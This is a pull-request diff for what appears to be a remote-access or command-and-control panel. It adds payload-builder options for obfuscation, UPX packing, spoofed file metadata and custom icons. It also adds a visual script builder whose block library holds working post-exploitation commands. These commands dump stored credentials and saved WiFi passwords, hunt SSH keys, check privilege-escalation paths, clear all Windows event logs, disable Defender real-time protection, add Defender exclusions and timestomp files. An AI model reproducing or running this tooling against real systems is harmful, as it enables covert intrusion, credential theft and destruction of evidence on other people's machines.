Merge pull request #3 from Deusogu/fix/build-user-filtering

Filter build list by user: non-admins only see their own builds
This commit is contained in:
K.Dot
2026-03-16 18:32:41 -05:00
committed by GitHub
13 changed files with 1185 additions and 31 deletions
+80
View File
@@ -91,6 +91,64 @@ if (persistenceCheckbox && persistenceMethodContainer) {
});
}
const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]');
const garbleSettingsContainer = document.getElementById("garble-settings-container");
if (obfuscateCheckbox && garbleSettingsContainer) {
obfuscateCheckbox.addEventListener("change", () => {
if (obfuscateCheckbox.checked) {
garbleSettingsContainer.classList.remove("hidden");
} else {
garbleSettingsContainer.classList.add("hidden");
}
});
}
const upxCheckbox = document.querySelector('input[name="enable-upx"]');
const upxSettingsContainer = document.getElementById("upx-settings-container");
if (upxCheckbox && upxSettingsContainer) {
upxCheckbox.addEventListener("change", () => {
if (upxCheckbox.checked) {
upxSettingsContainer.classList.remove("hidden");
} else {
upxSettingsContainer.classList.add("hidden");
}
});
}
let pendingIconBase64 = null;
const iconUpload = document.getElementById("icon-upload");
const iconLabel = document.getElementById("icon-label");
const iconClear = document.getElementById("icon-clear");
if (iconUpload) {
iconUpload.addEventListener("change", () => {
const file = iconUpload.files[0];
if (!file) return;
if (file.size > 1024 * 1024) {
alert("Icon file must be under 1MB");
iconUpload.value = "";
return;
}
const reader = new FileReader();
reader.onload = () => {
const base64 = reader.result.split(",")[1];
pendingIconBase64 = base64;
if (iconLabel) iconLabel.textContent = file.name;
if (iconClear) iconClear.classList.remove("hidden");
};
reader.readAsDataURL(file);
});
}
if (iconClear) {
iconClear.addEventListener("click", () => {
pendingIconBase64 = null;
if (iconUpload) iconUpload.value = "";
if (iconLabel) iconLabel.textContent = "Choose .ico file";
iconClear.classList.add("hidden");
});
}
async function init() {
try {
updateServerUrlPlaceholder();
@@ -215,6 +273,16 @@ form?.addEventListener("submit", async (e) => {
'input[name="no-printing"]',
).checked;
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || "";
const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || "";
const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || "";
const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || "";
const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || "";
const buildConfig = {
platforms,
serverUrl: serverUrl || undefined,
@@ -228,6 +296,18 @@ form?.addEventListener("submit", async (e) => {
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
hideConsole,
noPrinting,
outputName: outputNameVal || undefined,
garbleLiterals: obfuscate ? garbleLiterals : undefined,
garbleTiny: obfuscate ? garbleTiny : undefined,
garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
assemblyTitle: assemblyTitle || undefined,
assemblyProduct: assemblyProduct || undefined,
assemblyCompany: assemblyCompany || undefined,
assemblyVersion: assemblyVersion || undefined,
assemblyCopyright: assemblyCopyright || undefined,
iconBase64: pendingIconBase64 || undefined,
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
+35
View File
@@ -622,4 +622,39 @@ if (window.CodeMirror && scriptEditor) {
lineWrapping: true,
});
editorInstance.setSize(null, "100%");
window._vbCodeMirror = editorInstance;
}
const modeToggleCode = document.getElementById("mode-toggle-code");
const modeToggleVisual = document.getElementById("mode-toggle-visual");
const codeEditorSection = document.getElementById("code-editor-section");
const visualBuilderSection = document.getElementById("visual-builder-section");
const rightColumn = codeEditorSection?.parentElement?.querySelector(".lg\\:col-span-1");
let visualBuilderInited = false;
function setMode(mode) {
if (mode === "visual") {
codeEditorSection?.classList.add("hidden");
if (rightColumn) rightColumn.classList.add("hidden");
visualBuilderSection?.classList.remove("hidden");
modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white";
modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700";
if (!visualBuilderInited) {
import("/assets/visual-builder.js").then((mod) => {
const container = document.getElementById("visual-builder-container");
if (container) mod.initVisualBuilder(container);
visualBuilderInited = true;
});
}
} else {
codeEditorSection?.classList.remove("hidden");
if (rightColumn) rightColumn.classList.remove("hidden");
visualBuilderSection?.classList.add("hidden");
modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white";
modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700";
if (editorInstance) editorInstance.refresh();
}
}
modeToggleCode?.addEventListener("click", () => setMode("code"));
modeToggleVisual?.addEventListener("click", () => setMode("visual"));
@@ -0,0 +1,516 @@
const BLOCK_CATEGORIES = {
recon: {
label: "Recon",
icon: "fa-solid fa-magnifying-glass",
color: "emerald",
blocks: [
{ id: "whoami", label: "Whoami", desc: "Current user identity", ps: "whoami /all", bash: "id; whoami" },
{ id: "sysinfo", label: "System Info", desc: "OS and hardware details", ps: "Get-ComputerInfo | Select-Object CsName, WindowsVersion, OsArchitecture", bash: "uname -a; cat /etc/os-release 2>/dev/null" },
{ id: "ipconfig", label: "Network Info", desc: "IP addresses and interfaces", ps: "Get-NetIPAddress | Where-Object {$_.AddressFamily -eq 'IPv4'} | Select-Object IPAddress, InterfaceAlias", bash: "ip addr 2>/dev/null || ifconfig" },
{ id: "processes", label: "Top Processes", desc: "CPU-heavy processes", ps: "Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 Name, CPU, WorkingSet", bash: "ps aux --sort=-%cpu | head -20" },
{ id: "netstat", label: "Active Connections", desc: "Open network connections", ps: "Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'} | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort", bash: "netstat -tunap 2>/dev/null || ss -tunap" },
{ id: "localusers", label: "Local Users", desc: "Enumerate local accounts", ps: "Get-LocalUser | Select-Object Name, Enabled, LastLogon | Format-Table -AutoSize", bash: "cat /etc/passwd | grep -v nologin | grep -v false" },
{ id: "env", label: "Environment Vars", desc: "List environment variables", ps: "Get-ChildItem Env: | Sort-Object Name | Format-Table -AutoSize", bash: "env | sort" },
{ id: "diskusage", label: "Disk Usage", desc: "Storage information", ps: "Get-PSDrive -PSProvider FileSystem | Select-Object Name, Used, Free, Root", bash: "df -h" },
],
},
files: {
label: "Files",
icon: "fa-solid fa-folder-open",
color: "blue",
blocks: [
{ id: "ls", label: "List Directory", desc: "List files in path", ps: "Get-ChildItem -Path \"{path}\" -Force | Select-Object Mode, LastWriteTime, Length, Name", bash: "ls -la \"{path}\"", fields: [{ key: "path", label: "Path", placeholder: "C:\\ or /tmp", default: "." }] },
{ id: "cat", label: "Read File", desc: "Display file contents", ps: "Get-Content -Path \"{path}\"", bash: "cat \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\file.txt" }] },
{ id: "find", label: "Find Files", desc: "Search for files by pattern", ps: "Get-ChildItem -Path \"{path}\" -Recurse -Filter \"{pattern}\" -ErrorAction SilentlyContinue | Select-Object FullName, Length", bash: "find \"{path}\" -name \"{pattern}\" 2>/dev/null", fields: [{ key: "path", label: "Search Path", placeholder: "/", default: "." }, { key: "pattern", label: "Pattern", placeholder: "*.txt", default: "*" }] },
{ id: "mkdir", label: "Create Directory", desc: "Create a new directory", ps: "New-Item -ItemType Directory -Path \"{path}\" -Force", bash: "mkdir -p \"{path}\"", fields: [{ key: "path", label: "Directory Path", placeholder: "C:\\new_folder" }] },
{ id: "rmfile", label: "Delete File", desc: "Remove a file", ps: "Remove-Item -Path \"{path}\" -Force", bash: "rm -f \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\temp\\file.txt" }] },
],
},
security: {
label: "Security",
icon: "fa-solid fa-shield-halved",
color: "amber",
blocks: [
{ id: "avcheck", label: "AV Status", desc: "Check antivirus products", ps: "$av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue; if ($av) { $av | Select-Object displayName, pathToSignedProductExe } else { 'No AV data' }", bash: "echo 'AV check not applicable on Linux'" },
{ id: "defender", label: "Defender Status", desc: "Windows Defender health", ps: "Get-MpComputerStatus | Select-Object AMServiceEnabled, AntivirusEnabled, RealTimeProtectionEnabled", bash: "echo 'Defender not available on Linux'" },
{ id: "defenderexcl", label: "Defender Exclusions", desc: "Show exclusion paths", ps: "$p = Get-MpPreference; 'Exclusion Paths:'; $p.ExclusionPath; 'Exclusion Processes:'; $p.ExclusionProcess", bash: "echo 'Defender not available on Linux'" },
{ id: "firewall", label: "Firewall Rules", desc: "List firewall configuration", ps: "Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'} | Select-Object -First 20 DisplayName, Direction, Action", bash: "iptables -L -n 2>/dev/null || ufw status 2>/dev/null || echo 'No firewall info'" },
{ id: "langmode", label: "PS Language Mode", desc: "Check CLM status", ps: "Write-Host 'Language Mode:' $ExecutionContext.SessionState.LanguageMode", bash: "echo 'PowerShell not available'" },
],
},
privesc: {
label: "Priv Esc",
icon: "fa-solid fa-arrow-up-right-dots",
color: "red",
blocks: [
{ id: "privileges", label: "Token Privileges", desc: "Current token privileges", ps: "whoami /priv", bash: "id; groups" },
{ id: "suid", label: "SUID Binaries", desc: "Find SUID files (Linux)", ps: "echo 'Not applicable on Windows'", bash: "find / -perm -4000 -type f 2>/dev/null | sort" },
{ id: "sudo", label: "Sudo Rules", desc: "Check sudo permissions", ps: "echo 'Not applicable on Windows'", bash: "sudo -l 2>/dev/null || echo 'No sudo access'" },
{ id: "unquoted", label: "Unquoted Service Paths", desc: "Potential hijack targets", ps: "Get-WmiObject Win32_Service | Where-Object {$_.PathName -like '* *' -and -not $_.PathName.StartsWith([char]34)} | Select-Object Name, PathName, State", bash: "echo 'Not applicable on Linux'" },
{ id: "schtasks", label: "Scheduled Tasks", desc: "Non-Microsoft tasks", ps: "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\\Microsoft*'} | Select-Object TaskName, TaskPath, State | Format-Table -AutoSize", bash: "crontab -l 2>/dev/null; echo '---'; ls /etc/cron.d/ 2>/dev/null" },
{ id: "capabilities", label: "Linux Capabilities", desc: "Binaries with caps", ps: "echo 'Not applicable on Windows'", bash: "getcap -r / 2>/dev/null || echo 'getcap not available'" },
],
},
persist: {
label: "Persistence",
icon: "fa-solid fa-link",
color: "purple",
blocks: [
{ id: "regrun", label: "Registry Run Keys", desc: "Check autorun entries", ps: "Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ErrorAction SilentlyContinue; Get-ItemProperty -Path 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ErrorAction SilentlyContinue", bash: "echo 'Not applicable on Linux'" },
{ id: "startup", label: "Startup Folder", desc: "List startup items", ps: "Get-ChildItem \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" -Force -ErrorAction SilentlyContinue", bash: "ls ~/.config/autostart/ 2>/dev/null" },
{ id: "services", label: "Running Services", desc: "Active services", ps: "Get-Service | Where-Object {$_.Status -eq 'Running'} | Sort-Object DisplayName | Select-Object -First 30 Name, DisplayName", bash: "systemctl list-units --type=service --state=running 2>/dev/null | head -30" },
{ id: "cronjobs", label: "Cron Jobs", desc: "Scheduled cron entries", ps: "echo 'Not applicable on Windows'", bash: "echo '=== User Crontab ==='; crontab -l 2>/dev/null; echo '=== /etc/crontab ==='; cat /etc/crontab 2>/dev/null" },
],
},
credentials: {
label: "Credentials",
icon: "fa-solid fa-key",
color: "orange",
blocks: [
{ id: "credman", label: "Credential Manager", desc: "Stored credentials", ps: "cmdkey /list", bash: "echo 'Not applicable on Linux'" },
{ id: "sshkeys", label: "SSH Keys Hunt", desc: "Find SSH private keys", ps: "Get-ChildItem -Path $env:USERPROFILE\\.ssh -Force -ErrorAction SilentlyContinue", bash: "find /home /root -maxdepth 4 \\( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' \\) 2>/dev/null" },
{ id: "pshistory", label: "PS History", desc: "PowerShell command history", ps: "Get-Content (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue | Select-Object -Last 50", bash: "cat ~/.bash_history 2>/dev/null | tail -50" },
{ id: "wifi", label: "WiFi Passwords", desc: "Saved WiFi credentials", ps: "netsh wlan show profiles | ForEach-Object { if ($_ -match 'All User Profile\\s*:\\s*(.+)$') { $name = $matches[1].Trim(); $detail = netsh wlan show profile name=$name key=clear; $key = ($detail | Select-String 'Key Content').ToString().Split(':')[1].Trim(); \"$name : $key\" } }", bash: "echo 'Use nmcli on Linux'" },
],
},
evasion: {
label: "Evasion",
icon: "fa-solid fa-mask",
color: "rose",
blocks: [
{ id: "clearevt", label: "Clear Event Logs", desc: "Wipe Windows event logs", ps: "Get-EventLog -LogName * | ForEach-Object { Clear-EventLog -LogName $_.Log -ErrorAction SilentlyContinue }; Write-Host 'Event logs cleared'", bash: "echo 'Use journalctl --vacuum-time=0 on Linux'" },
{ id: "disabledef", label: "Disable Defender RT", desc: "Turn off realtime protection", ps: "Set-MpPreference -DisableRealtimeMonitoring $true; Write-Host 'Realtime monitoring disabled'", bash: "echo 'Not applicable on Linux'" },
{ id: "addexclusion", label: "Add Defender Exclusion", desc: "Add path exclusion", ps: "Add-MpPreference -ExclusionPath \"{path}\"; Write-Host 'Exclusion added:' \"{path}\"", bash: "echo 'Not applicable on Linux'", fields: [{ key: "path", label: "Exclusion Path", placeholder: "C:\\Tools" }] },
{ id: "timestomp", label: "Timestomp File", desc: "Modify file timestamps", ps: "(Get-Item \"{path}\").LastWriteTime = \"{date}\"; (Get-Item \"{path}\").CreationTime = \"{date}\"", bash: "touch -t \"{date}\" \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\file.exe" }, { key: "date", label: "Date", placeholder: "01/01/2023 12:00:00", default: "01/01/2023 00:00:00" }] },
],
},
custom: {
label: "Custom",
icon: "fa-solid fa-code",
color: "slate",
blocks: [
{ id: "customcmd", label: "Custom Command", desc: "Run any command", ps: "{cmd}", bash: "{cmd}", fields: [{ key: "cmd", label: "Command", placeholder: "Enter your command...", textarea: true }] },
{ id: "sleep", label: "Sleep / Delay", desc: "Wait between commands", ps: "Start-Sleep -Seconds {seconds}", bash: "sleep {seconds}", fields: [{ key: "seconds", label: "Seconds", placeholder: "5", default: "5" }] },
{ id: "echo", label: "Echo / Print", desc: "Print a message", ps: "Write-Host \"{message}\"", bash: "echo \"{message}\"", fields: [{ key: "message", label: "Message", placeholder: "Hello from Overlord" }] },
],
},
};
const COLOR_MAP = {
emerald: { bg: "bg-emerald-900/40", border: "border-emerald-700/60", text: "text-emerald-300", hover: "hover:bg-emerald-800/40", dragBg: "bg-emerald-900/60" },
blue: { bg: "bg-blue-900/40", border: "border-blue-700/60", text: "text-blue-300", hover: "hover:bg-blue-800/40", dragBg: "bg-blue-900/60" },
amber: { bg: "bg-amber-900/40", border: "border-amber-700/60", text: "text-amber-300", hover: "hover:bg-amber-800/40", dragBg: "bg-amber-900/60" },
red: { bg: "bg-red-900/40", border: "border-red-700/60", text: "text-red-300", hover: "hover:bg-red-800/40", dragBg: "bg-red-900/60" },
purple: { bg: "bg-purple-900/40", border: "border-purple-700/60", text: "text-purple-300", hover: "hover:bg-purple-800/40", dragBg: "bg-purple-900/60" },
orange: { bg: "bg-orange-900/40", border: "border-orange-700/60", text: "text-orange-300", hover: "hover:bg-orange-800/40", dragBg: "bg-orange-900/60" },
rose: { bg: "bg-rose-900/40", border: "border-rose-700/60", text: "text-rose-300", hover: "hover:bg-rose-800/40", dragBg: "bg-rose-900/60" },
slate: { bg: "bg-slate-800/60", border: "border-slate-600", text: "text-slate-300", hover: "hover:bg-slate-700/60", dragBg: "bg-slate-800/80" },
};
let canvasBlocks = [];
let blockIdCounter = 0;
let draggedBlockDef = null;
let dragGhost = null;
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
return div.innerHTML;
}
function findBlockDef(blockId) {
for (const cat of Object.values(BLOCK_CATEGORIES)) {
const found = cat.blocks.find((b) => b.id === blockId);
if (found) return { ...found, color: cat.color };
}
return null;
}
function renderPalette(container) {
container.innerHTML = "";
for (const [catKey, cat] of Object.entries(BLOCK_CATEGORIES)) {
const colors = COLOR_MAP[cat.color] || COLOR_MAP.slate;
const section = document.createElement("div");
section.className = "mb-3";
const header = document.createElement("button");
header.className = `w-full flex items-center gap-2 px-3 py-2 rounded-lg ${colors.bg} ${colors.border} border text-sm font-semibold ${colors.text} ${colors.hover} transition-colors`;
header.innerHTML = `<i class="${cat.icon}"></i> ${cat.label} <span class="ml-auto text-xs opacity-60">${cat.blocks.length}</span>`;
header.addEventListener("click", () => {
const list = section.querySelector(".block-list");
list.classList.toggle("hidden");
});
section.appendChild(header);
const list = document.createElement("div");
list.className = "block-list flex flex-col gap-1 mt-1 pl-2 hidden";
for (const block of cat.blocks) {
const item = document.createElement("div");
item.className = `flex items-center gap-2 px-3 py-2 rounded-lg border ${colors.border} ${colors.bg} cursor-grab text-sm ${colors.hover} transition-colors select-none`;
item.draggable = true;
item.dataset.blockId = block.id;
item.innerHTML = `<span class="font-medium ${colors.text}">${block.label}</span><span class="text-xs text-slate-500 truncate">${block.desc}</span>`;
item.addEventListener("dragstart", (e) => {
draggedBlockDef = { ...block, color: cat.color };
e.dataTransfer.effectAllowed = "copy";
e.dataTransfer.setData("text/plain", block.id);
item.classList.add("opacity-50");
setTimeout(() => {
document.getElementById("vb-canvas")?.classList.add("ring-2", "ring-emerald-500/40");
}, 0);
});
item.addEventListener("dragend", () => {
draggedBlockDef = null;
item.classList.remove("opacity-50");
document.getElementById("vb-canvas")?.classList.remove("ring-2", "ring-emerald-500/40");
});
list.appendChild(item);
}
section.appendChild(list);
container.appendChild(section);
}
}
function addBlockToCanvas(blockDef, fieldValues) {
const instance = {
uid: ++blockIdCounter,
id: blockDef.id,
color: blockDef.color,
label: blockDef.label,
desc: blockDef.desc,
ps: blockDef.ps,
bash: blockDef.bash,
fields: (blockDef.fields || []).map((f) => ({
...f,
value: fieldValues?.[f.key] ?? f.default ?? "",
})),
};
canvasBlocks.push(instance);
renderCanvas();
updatePreview();
}
function renderCanvas() {
const canvas = document.getElementById("vb-canvas");
if (!canvas) return;
if (canvasBlocks.length === 0) {
canvas.innerHTML = `<div class="flex flex-col items-center justify-center h-full text-slate-500 gap-3 pointer-events-none">
<i class="fa-solid fa-arrow-down text-3xl animate-bounce"></i>
<span class="text-sm">Drag blocks here to build your script</span>
</div>`;
return;
}
canvas.innerHTML = "";
canvasBlocks.forEach((block, idx) => {
const colors = COLOR_MAP[block.color] || COLOR_MAP.slate;
const el = document.createElement("div");
el.className = `relative group flex flex-col gap-2 p-3 rounded-lg border ${colors.border} ${colors.dragBg} transition-all`;
el.dataset.uid = block.uid;
el.draggable = true;
let fieldsHtml = "";
if (block.fields && block.fields.length > 0) {
fieldsHtml = block.fields
.map((f) => {
if (f.textarea) {
return `<div class="flex flex-col gap-1">
<label class="text-xs text-slate-400">${escapeHtml(f.label)}</label>
<textarea class="block-field w-full px-2 py-1 rounded border border-slate-600 bg-slate-950 text-slate-100 text-xs font-mono resize-none" rows="2" data-uid="${block.uid}" data-field="${f.key}" placeholder="${escapeHtml(f.placeholder || "")}">${escapeHtml(f.value || "")}</textarea>
</div>`;
}
return `<div class="flex items-center gap-2">
<label class="text-xs text-slate-400 whitespace-nowrap">${escapeHtml(f.label)}</label>
<input class="block-field flex-1 px-2 py-1 rounded border border-slate-600 bg-slate-950 text-slate-100 text-xs font-mono" data-uid="${block.uid}" data-field="${f.key}" placeholder="${escapeHtml(f.placeholder || "")}" value="${escapeHtml(f.value || "")}">
</div>`;
})
.join("");
}
el.innerHTML = `
<div class="flex items-center gap-2">
<span class="text-slate-500 text-xs font-mono w-5 text-right">${idx + 1}</span>
<span class="font-medium text-sm ${colors.text}">${escapeHtml(block.label)}</span>
<span class="text-xs text-slate-500">${escapeHtml(block.desc)}</span>
<div class="ml-auto flex items-center gap-1 opacity-0 group-hover:opacity-100 transition-opacity">
<button class="vb-move-up px-1.5 py-0.5 text-xs rounded bg-slate-700 hover:bg-slate-600 text-slate-300" data-uid="${block.uid}" title="Move up"><i class="fa-solid fa-chevron-up"></i></button>
<button class="vb-move-down px-1.5 py-0.5 text-xs rounded bg-slate-700 hover:bg-slate-600 text-slate-300" data-uid="${block.uid}" title="Move down"><i class="fa-solid fa-chevron-down"></i></button>
<button class="vb-dup px-1.5 py-0.5 text-xs rounded bg-slate-700 hover:bg-slate-600 text-slate-300" data-uid="${block.uid}" title="Duplicate"><i class="fa-solid fa-clone"></i></button>
<button class="vb-remove px-1.5 py-0.5 text-xs rounded bg-red-900/60 hover:bg-red-800 text-red-300" data-uid="${block.uid}" title="Remove"><i class="fa-solid fa-xmark"></i></button>
</div>
</div>
${fieldsHtml ? `<div class="flex flex-col gap-1.5 ml-7">${fieldsHtml}</div>` : ""}
`;
el.addEventListener("dragstart", (e) => {
e.dataTransfer.effectAllowed = "move";
e.dataTransfer.setData("text/plain", `move:${block.uid}`);
el.classList.add("opacity-50");
});
el.addEventListener("dragend", () => el.classList.remove("opacity-50"));
el.addEventListener("dragover", (e) => {
e.preventDefault();
e.dataTransfer.dropEffect = "move";
el.classList.add("ring-1", "ring-emerald-400/60");
});
el.addEventListener("dragleave", () => el.classList.remove("ring-1", "ring-emerald-400/60"));
el.addEventListener("drop", (e) => {
e.preventDefault();
el.classList.remove("ring-1", "ring-emerald-400/60");
const data = e.dataTransfer.getData("text/plain");
if (data.startsWith("move:")) {
const fromUid = parseInt(data.split(":")[1]);
const fromIdx = canvasBlocks.findIndex((b) => b.uid === fromUid);
const toIdx = canvasBlocks.findIndex((b) => b.uid === block.uid);
if (fromIdx !== -1 && toIdx !== -1 && fromIdx !== toIdx) {
const [moved] = canvasBlocks.splice(fromIdx, 1);
canvasBlocks.splice(toIdx, 0, moved);
renderCanvas();
updatePreview();
}
}
});
canvas.appendChild(el);
});
canvas.querySelectorAll(".block-field").forEach((input) => {
input.addEventListener("input", () => {
const uid = parseInt(input.dataset.uid);
const fieldKey = input.dataset.field;
const block = canvasBlocks.find((b) => b.uid === uid);
if (block) {
const field = block.fields.find((f) => f.key === fieldKey);
if (field) field.value = input.value;
updatePreview();
}
});
});
canvas.querySelectorAll(".vb-remove").forEach((btn) => {
btn.addEventListener("click", () => {
const uid = parseInt(btn.dataset.uid);
canvasBlocks = canvasBlocks.filter((b) => b.uid !== uid);
renderCanvas();
updatePreview();
});
});
canvas.querySelectorAll(".vb-dup").forEach((btn) => {
btn.addEventListener("click", () => {
const uid = parseInt(btn.dataset.uid);
const orig = canvasBlocks.find((b) => b.uid === uid);
if (!orig) return;
const clone = { ...orig, uid: ++blockIdCounter, fields: orig.fields.map((f) => ({ ...f })) };
const idx = canvasBlocks.findIndex((b) => b.uid === uid);
canvasBlocks.splice(idx + 1, 0, clone);
renderCanvas();
updatePreview();
});
});
canvas.querySelectorAll(".vb-move-up").forEach((btn) => {
btn.addEventListener("click", () => {
const uid = parseInt(btn.dataset.uid);
const idx = canvasBlocks.findIndex((b) => b.uid === uid);
if (idx > 0) {
[canvasBlocks[idx - 1], canvasBlocks[idx]] = [canvasBlocks[idx], canvasBlocks[idx - 1]];
renderCanvas();
updatePreview();
}
});
});
canvas.querySelectorAll(".vb-move-down").forEach((btn) => {
btn.addEventListener("click", () => {
const uid = parseInt(btn.dataset.uid);
const idx = canvasBlocks.findIndex((b) => b.uid === uid);
if (idx < canvasBlocks.length - 1) {
[canvasBlocks[idx], canvasBlocks[idx + 1]] = [canvasBlocks[idx + 1], canvasBlocks[idx]];
renderCanvas();
updatePreview();
}
});
});
}
function compileBlocks(scriptMode) {
const isPowerShell = scriptMode === "powershell" || scriptMode === "cmd";
return canvasBlocks
.map((block) => {
let template = isPowerShell ? block.ps : block.bash;
if (block.fields) {
for (const f of block.fields) {
template = template.replaceAll(`{${f.key}}`, f.value || f.placeholder || "");
}
}
return template;
})
.join("\n");
}
function updatePreview() {
const preview = document.getElementById("vb-preview");
const typeSelect = document.getElementById("vb-script-type");
if (!preview || !typeSelect) return;
const mode = typeSelect.value;
const compiled = compileBlocks(mode);
preview.textContent = compiled || "(empty — add blocks to the canvas)";
}
export function initVisualBuilder(builderContainer) {
builderContainer.innerHTML = `
<div class="grid grid-cols-1 lg:grid-cols-12 gap-4 h-full">
<div class="lg:col-span-3 flex flex-col gap-2">
<div class="text-sm font-semibold text-slate-300 flex items-center gap-2">
<i class="fa-solid fa-puzzle-piece"></i> Block Palette
</div>
<div class="flex gap-2 mb-1">
<input id="vb-palette-search" type="text" placeholder="Search blocks..." class="flex-1 px-2 py-1.5 text-xs rounded-lg border border-slate-700 bg-slate-800 text-slate-100 placeholder-slate-500 focus:outline-none focus:ring-1 focus:ring-emerald-500">
</div>
<div id="vb-palette" class="flex-1 overflow-y-auto max-h-[32rem] pr-1"></div>
</div>
<div class="lg:col-span-5 flex flex-col gap-2">
<div class="flex items-center justify-between">
<div class="text-sm font-semibold text-slate-300 flex items-center gap-2">
<i class="fa-solid fa-layer-group"></i> Canvas
<span id="vb-block-count" class="text-xs text-slate-500">0 blocks</span>
</div>
<button id="vb-clear-canvas" class="px-2 py-1 text-xs rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 text-slate-300">
<i class="fa-solid fa-trash"></i> Clear
</button>
</div>
<div id="vb-canvas" class="flex-1 min-h-[20rem] max-h-[32rem] overflow-y-auto flex flex-col gap-2 p-3 rounded-lg border-2 border-dashed border-slate-700 bg-slate-950/50 transition-all">
<div class="flex flex-col items-center justify-center h-full text-slate-500 gap-3 pointer-events-none">
<i class="fa-solid fa-arrow-down text-3xl animate-bounce"></i>
<span class="text-sm">Drag blocks here to build your script</span>
</div>
</div>
</div>
<div class="lg:col-span-4 flex flex-col gap-2">
<div class="flex items-center justify-between">
<div class="text-sm font-semibold text-slate-300 flex items-center gap-2">
<i class="fa-solid fa-code"></i> Generated Script
</div>
<div class="flex items-center gap-2">
<select id="vb-script-type" class="px-2 py-1 text-xs rounded-lg border border-slate-700 bg-slate-800 text-slate-100">
<option value="powershell">PowerShell</option>
<option value="bash">Bash</option>
</select>
<button id="vb-copy" class="px-2 py-1 text-xs rounded-lg border border-slate-700 bg-slate-800/50 hover:bg-slate-700 text-slate-300">
<i class="fa-solid fa-copy"></i> Copy
</button>
<button id="vb-send-to-editor" class="px-2 py-1 text-xs rounded-lg border border-emerald-700 bg-emerald-900/50 hover:bg-emerald-800 text-emerald-300">
<i class="fa-solid fa-arrow-right"></i> Send to Editor
</button>
</div>
</div>
<pre id="vb-preview" class="flex-1 min-h-[20rem] max-h-[32rem] overflow-auto p-3 rounded-lg border border-slate-700 bg-slate-950 text-slate-100 font-mono text-xs whitespace-pre-wrap">(empty — add blocks to the canvas)</pre>
</div>
</div>
`;
const palette = document.getElementById("vb-palette");
const canvas = document.getElementById("vb-canvas");
const clearBtn = document.getElementById("vb-clear-canvas");
const copyBtn = document.getElementById("vb-copy");
const sendBtn = document.getElementById("vb-send-to-editor");
const typeSelect = document.getElementById("vb-script-type");
const paletteSearch = document.getElementById("vb-palette-search");
renderPalette(palette);
canvas.addEventListener("dragover", (e) => {
e.preventDefault();
e.dataTransfer.dropEffect = draggedBlockDef ? "copy" : "move";
});
canvas.addEventListener("drop", (e) => {
e.preventDefault();
canvas.classList.remove("ring-2", "ring-emerald-500/40");
const data = e.dataTransfer.getData("text/plain");
if (data.startsWith("move:")) return;
if (draggedBlockDef) {
addBlockToCanvas(draggedBlockDef);
draggedBlockDef = null;
}
});
clearBtn.addEventListener("click", () => {
if (canvasBlocks.length === 0) return;
if (!confirm("Clear all blocks from the canvas?")) return;
canvasBlocks = [];
renderCanvas();
updatePreview();
});
copyBtn.addEventListener("click", () => {
const preview = document.getElementById("vb-preview");
if (preview) {
navigator.clipboard.writeText(preview.textContent).then(() => {
copyBtn.innerHTML = '<i class="fa-solid fa-check"></i> Copied';
setTimeout(() => { copyBtn.innerHTML = '<i class="fa-solid fa-copy"></i> Copy'; }, 1500);
});
}
});
sendBtn.addEventListener("click", () => {
const mode = typeSelect.value;
const compiled = compileBlocks(mode);
if (!compiled.trim()) {
alert("Canvas is empty — add some blocks first.");
return;
}
const editorTA = document.getElementById("script-editor");
const scriptTypeSelect = document.getElementById("script-type");
if (window._vbCodeMirror) {
window._vbCodeMirror.setValue(compiled);
} else if (editorTA) {
editorTA.value = compiled;
}
if (scriptTypeSelect) scriptTypeSelect.value = mode;
const toggle = document.getElementById("mode-toggle-code");
if (toggle) toggle.click();
if (typeof showToast === "function") showToast("Script sent to editor", "success", 2500);
});
typeSelect.addEventListener("change", updatePreview);
paletteSearch.addEventListener("input", () => {
const term = paletteSearch.value.toLowerCase();
palette.querySelectorAll("[data-block-id]").forEach((el) => {
const id = el.dataset.blockId;
const def = findBlockDef(id);
if (!def) return;
const match = !term || def.label.toLowerCase().includes(term) || def.desc.toLowerCase().includes(term) || def.id.toLowerCase().includes(term);
el.style.display = match ? "" : "none";
});
});
const observer = new MutationObserver(() => {
const countEl = document.getElementById("vb-block-count");
